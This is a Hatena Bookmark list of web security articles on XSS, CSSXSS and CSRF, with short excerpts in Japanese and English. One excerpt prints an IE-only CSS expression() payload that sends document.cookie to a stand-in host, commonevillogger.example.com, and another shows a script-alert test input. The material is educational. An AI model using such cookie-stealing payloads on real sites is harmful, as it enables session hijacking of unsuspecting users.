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xssに関するsukka9のブックマーク (25)

  • XSS - 表示系パラメータに存在する盲点 :: ぼくはまちちゃん!

    こんにちはこんにちは!! クロスサイトスクリプティングの時間です! XSSというと…! まっさきに思いつくのが、入力データ送信 → 確認表示の部分での無害化漏れですよね! たとえばこんな感じのフォームから受け取ったパラメータを、 確認として表示するページとか! (入力) <form action="register.cgi" method="post"> タイトル:<input type="text" name="title"> ← 「ぼくはまちちゃん!」を入力 文:<input type="text" name="body"> ← 「こんにちはこんにちは!!<script>alert(1)</script>」を入力 </form> (確認) <p>この内容で登録していい?</p> <p> タイトル: ぼくはまちちゃん!<br> 文: こんにちはこんにちは!!<script>alert

  • cookieをお預かりします: 悪意ある共同預かり所 - hoshikuzu | star_dust の書斎

    <html> <body> <style type="text/css"> h1 { background#:/*;*/ expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')'); } </style> <h1>heading</h1> </body> </html>上記はCookieを悪意あるサイトに飛ばす例です。IEのみ対応。 (ちなみに、expressionを使っていてもcommonevillogger.example.comには、Cookieが1回しか飛びません。個人的には意外な感じです。expressionを使ってalertしたりするとブラクラっぽくなったり、あるいは、リロードを仕込んでサーバに負荷がかかっちゃった事故とかを知っているからです。AutoF5攻撃みたいな。) 閑

    cookieをお預かりします: 悪意ある共同預かり所 - hoshikuzu | star_dust の書斎
  • CSSクロスドメインの情報漏えいの脆弱性「CSSXSS」とは ― @IT

    あるWebページにアクセスしたら、自分のYahoo! JAPAN IDやHatenaのID、mixiで使っている名前などが表示された。何の縁もゆかりもないページにこれらのプライベートな情報がなぜ表示されてしまったのだろうか。 これは「CSSクロスドメインの情報の漏えいの脆弱性(CVE-2005-4089)」という、Webブラウザがスタイルシート(CSS)を呼び出す機能にある脆弱性を利用した攻撃だったのだ。この脆弱性は通称「CSSXSS(CSS Cross Site Scripting)」とも呼ばれている。 CSSインポート時にCSS以外のファイルがテキストとして読み込める 最近のWebページは、文書の構造をHTML形式で記し、フォントや色やレイアウトなどの視覚的な表現をスタイルシートで記述するというHTMLの仕様に従っていることが多い。 HTMLファイルから外部のスタイルシートを呼び出すた

    CSSクロスドメインの情報漏えいの脆弱性「CSSXSS」とは ― @IT
  • XSS (Cross Site Scripting) Cheat Sheet

    XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion By RSnake Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to

  • 開発者のための正しいCSRF対策

    著者: 金床 <anvil@jumperz.net> http://www.jumperz.net/ ■はじめに ウェブアプリケーション開発者の立場から見たCSRF対策について、さまざまな情報が入り乱れている。筆者が2006年3月の時点において国内のウェブサ イトやコンピュータ書籍・雑誌などでCSRF対策について書かれている記事を調べた結果、おどろくべきことに、そのほとんどが誤りを含んでいたり、現実的 には使用できない方法を紹介したりしていた。そこで稿ではウェブアプリケーション開発者にとっての当に正しいCSRF対策についてまとめることとす る。また、採用すべきでないCSRF対策とその理由も合わせて紹介する。 ■あらゆる機能がターゲットとなりうる ウェブアプリケーションの持つ全ての機能がCSRF攻撃の対象となりうる。まずこのことを認識しておく必要がある。 Amaz